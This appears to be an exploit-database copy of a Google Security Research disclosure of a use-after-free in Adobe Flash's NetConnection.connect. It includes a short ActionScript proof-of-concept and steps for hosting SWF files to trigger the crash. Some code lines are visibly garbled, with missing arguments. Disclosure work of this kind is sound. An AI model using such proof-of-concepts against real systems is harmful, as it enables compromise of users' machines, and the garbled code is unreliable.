Lucene search

exploitpackGoogle Security ResearchEXPLOITPACK:34AAF241B2B1D7930F6986CE898E6962
HistoryAug 19, 2015 - 12:00 a.m.

Adobe Flash - NetConnection.connect Use-After-Free

Google Security Research

Adobe Flash - NetConnection.connect Use-After-Free


If the fpadInfo property of a NetConnection object is a SharedObject, a use-after-free occurs when the property is deleted. A proof-of-concept is as follows:

var s = SharedObject.getLocal("test");

ASSetPropFlags(s, null, 0, 0xff);
ASSetPropFlags(, null, 0, 0xff);
var q = {myprop  :"natalie", myprop2 : "test"}; = q;
var n = new NetConnection();
ASnative(2100, 200)(;, "");
s = 1;

//GC happens here

setInterval(f, 1000);

function f(){

	ASnative(252, 1).call(q); //Array push
	delete q.myprop;

A fla, an AS file and two swfs are attached. shareddelete.fla compiles to shareddelete.swf and contains the code that causes the use-after-free. compiles to loadswf.swf, and sets up the heap to cause a crash. To make the issue occur, put loadswf.swf and shareddelete.swf in the same folder on a webserver (the PoCs don't always work locally due to flash network sandboxing), and load loadswf.swf. This PoC only works on 64-bit systems, but the issue would work on a 32-bit system with proper heap set-up. 

Proof of Concept: